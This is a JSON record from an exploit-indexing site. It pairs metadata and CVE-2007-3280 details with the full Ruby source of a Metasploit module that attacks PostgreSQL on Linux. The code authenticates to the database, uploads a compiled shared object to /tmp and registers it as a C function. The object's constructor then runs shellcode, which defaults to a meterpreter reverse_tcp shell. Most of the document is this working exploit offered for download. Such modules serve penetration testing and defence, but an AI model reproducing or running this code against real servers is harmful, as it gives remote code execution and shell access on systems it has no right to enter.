{"exploit":{"id":"MSF-linux--postgres--postgres_payload","name":"PostgreSQL for Linux Payload Execution","description":"On some default Linux installations of PostgreSQL, the postgres service account may write to the /tmp directory, and may source UDF Shared Libraries from there as well, allowing execution of arbitrary code. This module compiles a Linux shared object file, uploads it to the target host via the UPDATE pg_largeobject method of binary injection, and creates a UDF (user defined function) from that shared object. Because the payload is run as the shared object's constructor, it does not need to conform to specific Postgres API versions.","cves":["CVE-2007-3280"],"author":"midnitesnake, egypt, todb, lucipher","published":"2007-06-05","platform":"Linux","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/postgres/postgres_payload.rb","path":"modules/exploits/linux/postgres/postgres_payload.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"postgres_payload.rb","vulnerabilities":[{"id":"CVE-2007-3280","state":"PUBLISHED","title":null,"titleSource":null,"description":"The Database Link library (dblink) in PostgreSQL 8.1 implements functions via CREATE statements that map to arbitrary libraries based on the C programming language, which allows remote authenticated superusers to map and execute a function from any library, as demonstrated by using the system function in libc.so.6 to gain shell access.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-3280","cvss":{"version":"2.0","baseScore":9,"severity":"high","vectorString":"AV:N/AC:L/Au:S/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-3280"},"updatedAt":"2024-08-07T14:14:11.897Z","retrievedAt":"2026-11-26T12:19:17.076Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--postgres--postgres_payload.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--postgres--postgres_payload","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--postgres--postgres_payload/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--postgres--postgres_payload/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::Postgres\n  include Msf::Auxiliary::Report\n  include Msf::OptionalSession::PostgreSQL\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'PostgreSQL for Linux Payload Execution',\n        'Description' => %q{\n          On some default Linux installations of PostgreSQL, the\n          postgres service account may write to the /tmp directory, and\n          may source UDF Shared Libraries from there as well, allowing\n          execution of arbitrary code.\n\n          This module compiles a Linux shared object file, uploads it to\n          the target host via the UPDATE pg_largeobject method of binary\n          injection, and creates a UDF (user defined function) from that\n          shared object. Because the payload is run as the shared object's\n          constructor, it does not need to conform to specific Postgres\n          API versions.\n        },\n        'Author' => [\n          'midnitesnake', # this Metasploit module\n          'egypt',        # on-the-fly compiled .so technique\n          'todb',         # original windows module this is based on\n          'lucipher'      # updated module to work on Postgres 8.2+\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2007-3280' ],\n          [ 'URL', 'https://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]\n        ],\n        'Platform' => 'linux',\n        'Payload' => {\n          'Space' => 65535,\n          'DisableNops' => true\n        },\n        'Targets' => [\n          [\n            'Linux x86',\n            {\n              'Arch' => ARCH_X86,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'\n              }\n            }\n          ],\n          [\n            'Linux x86_64',\n            {\n              'Arch' => ARCH_X64,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'\n              }\n            }\n          ],\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2007-06-05',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n\n    deregister_options('SQL', 'RETURN_ROWSET')\n  end\n\n  def check\n    version = postgres_fingerprint\n\n    if version[:auth]\n      return CheckCode::Appears('PostgreSQL authentication succeeded; UDF execution may be possible')\n    end\n\n    CheckCode::Safe(\"Authentication failed. #{version[:preauth] || version[:unknown]}\")\n  end\n\n  def exploit\n    self.postgres_conn = session.client if session\n\n    version = do_login(username, password, database)\n    case version\n    when :noauth\n      print_error 'Authentication failed'\n      return\n    when :noconn\n      print_error 'Connection failed'\n      return\n    else\n      print_status(\"#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{version}\")\n    end\n\n    fname = \"/tmp/#{Rex::Text.rand_text_alpha(8)}.so\"\n\n    unless postgres_upload_binary_data(payload_so(fname), fname)\n      fail_with(Failure::Unknown, 'Could not upload the UDF shared object file')\n    end\n\n    print_status(\"Uploaded as #{fname}, should be cleaned up automatically\")\n    begin\n      func_name = Rex::Text.rand_text_alpha(10)\n      postgres_query(\n        \"create or replace function pg_temp.#{func_name}()\" \\\n        \" returns void as '#{fname}','#{func_name}' language c strict immutable\"\n      )\n    rescue RuntimeError => e\n      print_error(\"Failed to create UDF function: #{e.class}: #{e}\")\n    end\n    postgres_logout if @postgres_conn && session.blank?\n  end\n\n  # Authenticate to the postgres server.\n  #\n  # Returns the version from #postgres_fingerprint\n  def do_login(user = nil, pass = nil, database = nil)\n    password = pass || postgres_password\n    vprint_status(\"Trying #{user}:#{password}@#{Rex::Socket.to_authority(rhost, rport)}/#{database}\") unless postgres_conn\n    result = postgres_fingerprint(\n      db: database,\n      username: user,\n      password: password\n    )\n    if result[:auth]\n      report_service(\n        host: postgres_conn.peerhost,\n        port: postgres_conn.peerport,\n        name: 'postgres',\n        info: result.values.first\n      )\n      return result[:auth]\n    else\n      print_error(\"Login failed, fingerprint is #{result[:preauth] || result[:unknown]}\")\n      return :noauth\n    end\n  rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError\n    return :noconn\n  end\n\n  def payload_so(filename)\n    shellcode = Rex::Text.to_hex(payload.encoded, '\\\\x')\n    # shellcode = \"\\\\xcc\"\n\n    c = %^\n      int _exit(int);\n      int printf(const char*, ...);\n      int perror(const char*);\n      void *mmap(int, int, int, int, int, int);\n      void *memcpy(void *, const void *, int);\n      int mprotect(void *, int, int);\n      int fork();\n      int unlink(const char *pathname);\n\n      #define MAP_PRIVATE 2\n      #define MAP_ANONYMOUS 32\n      #define PROT_READ 1\n      #define PROT_WRITE 2\n      #define PROT_EXEC 4\n\n      #define PAGESIZE 0x1000\n\n      typedef struct _Pg_magic_struct {\n        int len;\n        int version;\n        int funcmaxargs;\n        int indexmaxkeys;\n        int namedatalen;\n        int float4byval;\n        int float8byval;\n      } Pg_magic_struct;\n\n      extern const Pg_magic_struct *PG_MAGIC_FUNCTION_NAME(void);\n\n      const Pg_magic_struct * PG_MAGIC_FUNCTION_NAME(void)\n      {\n        static const Pg_magic_struct Pg_magic_data = {sizeof(Pg_magic_struct), 804, 100, 32, 64, 1, 1};\n        return &Pg_magic_data;\n      }\n\n      char shellcode[] = \"#{shellcode}\";\n\n      void run_payload(void) __attribute__((constructor));\n\n      void run_payload(void)\n      {\n        int (*fp)();\n        fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);\n\n        memcpy(fp, shellcode, sizeof(shellcode));\n        if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {\n          _exit(1);\n        }\n        if (!fork()) {\n          fp();\n        }\n\n        unlink(\"#{filename}\");\n        return;\n      }\n\n    ^\n\n    cpu = case target_arch.first\n          when ARCH_X86 then Metasm::Ia32.new\n          when ARCH_X64 then Metasm::X86_64.new\n          end\n    payload_so = Metasm::ELF.compile_c(cpu, c, 'payload.c')\n\n    payload_so.encode_string(:lib)\n  end\nend\n","sha256":"8bd72421b890b348bf9e3303d4d581c9fe00e4c567d91e559f3d5e2d18f4ed04","bytes":6599,"fetchedAt":"2026-11-26T12:11:09.731Z","encoding":"utf-8 (display only; download retains original bytes)"}